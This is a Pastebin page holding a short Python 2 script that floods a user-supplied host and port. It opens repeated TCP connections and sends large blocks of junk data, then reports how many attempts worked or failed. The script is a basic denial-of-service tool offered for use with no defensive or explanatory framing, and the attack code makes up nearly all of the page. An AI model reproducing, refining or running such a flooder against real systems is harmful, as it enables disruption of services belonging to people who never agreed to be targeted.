Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket
- def flood(ip, porta, spam):
- s = socket.socket(
- socket.AF_INET, socket.SOCK_STREAM)
- s.connect((ip, porta))
- s.send(spam*10000)
- s.send(spam*10000)
- site = input ("Insert target: ")
- port = input ("Insert port: ")
- power = input ("Insert power: ")
- spam = "LOLO"
- c = 0
- d = 0
- for i in range(power):
- try:
- flood(site, port, spam)
- print "%s worked" % str(i+1)
- c = c + 1
- except:
- print "%s failed" % str(i+1)
- d = d + 1
- print ""
- print "Overactives: " + str(c) + ", Failed: " + str(d)
Add Comment
Please, Sign In to add comment